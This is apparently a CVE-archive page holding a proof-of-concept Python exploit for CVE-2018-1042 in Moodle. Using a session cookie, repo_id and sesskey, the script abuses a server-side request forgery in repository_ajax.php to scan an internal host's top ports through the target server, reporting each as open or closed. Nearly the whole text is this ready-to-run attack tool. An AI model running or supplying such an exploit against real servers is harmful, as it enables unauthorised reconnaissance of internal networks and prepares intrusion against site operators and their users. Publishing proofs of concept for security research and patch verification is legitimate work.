4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / moodle_ssrf2portscan.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# Script to exploit CVE-2018-1042 in order to do internal port scans.
#
# by Psycho (@UDPsycho)
#   Twitter: https://www.twitter.com/UDPsycho
#

import sys
import requests


if len(sys.argv) != 6:
    # "repo_id" & "sesskey" parameters are useless but necessary for the attack
    print ("\nUsage:   {} <url> <target_ip> MoodleSession=<value> repo_id=<value> sesskey=<value>".format(sys.argv[0]))
    print ("Example: {} https://example.com/repository/repository_ajax.php?action=signin 127.0.0.1 MoodleSession=XXXXX repo_id=X sesskey=XXXXX\n".format(sys.argv[0]))

else:

  # Required for color output
  RED   = "\033[1;91;40m"
  GREEN = "\033[1;92;40m"
  RESET = "\033[0m"

  # Parse args
  target_url    = sys.argv[1]
  target_ip     = sys.argv[2]
  moodle_cookie = sys.argv[3].split("=")[0]
  moodle_value  = sys.argv[3].split("=")[1]
  repo_id_param = sys.argv[4].split("=")[0]
  repo_id_value = sys.argv[4].split("=")[1]
  sesskey_param = sys.argv[5].split("=")[0]
  sesskey_value = sys.argv[5].split("=")[1]

  # Top ports according to nmap (https://nmap.org/book/port-scanning.html#most-popular-ports)
  top_ports = ("80","23","443","21","22","25","3389","110","445","139",
              "143","53","135","3306","8080","1723","111","995","993","5900",
              "631","161","137","123","138","1434","445","135","67","53",
              "139","500","68","520","1900","4500","514","49152","162","69")

  closed_port_error = "Connection refused"
  open_ports = ""

  # Cookies required to send the request
  cookies = { moodle_cookie : moodle_value }


  print ("\nScanning top ports, please wait...\n")

  for port in top_ports:

    target = target_ip + ":" + port

    try:

      # Data required to exploit the vulnerability
      data = {
        "file"        : target,
        repo_id_param : repo_id_value,
        sesskey_param : sesskey_value
      }

      response = requests.post(target_url, cookies=cookies, data=data, allow_redirects=False)

      if closed_port_error in response.text:
        print ("{}{}\tClosed{}".format(target, RED, RESET))
      else:
        open_ports += (port + " ")
        print ("{}{}\tOpen{}".format(target, GREEN, RESET))

    except requests.ConnectionError:
      open_ports += (port + " ")
      print ("{}{}\tOpen{}".format(target, GREEN, RESET))

  print ("\nPorts {}{}{}seems to be open at {}{}{}!\n"
    .format(GREEN, open_ports, RESET, GREEN, target_ip, RESET))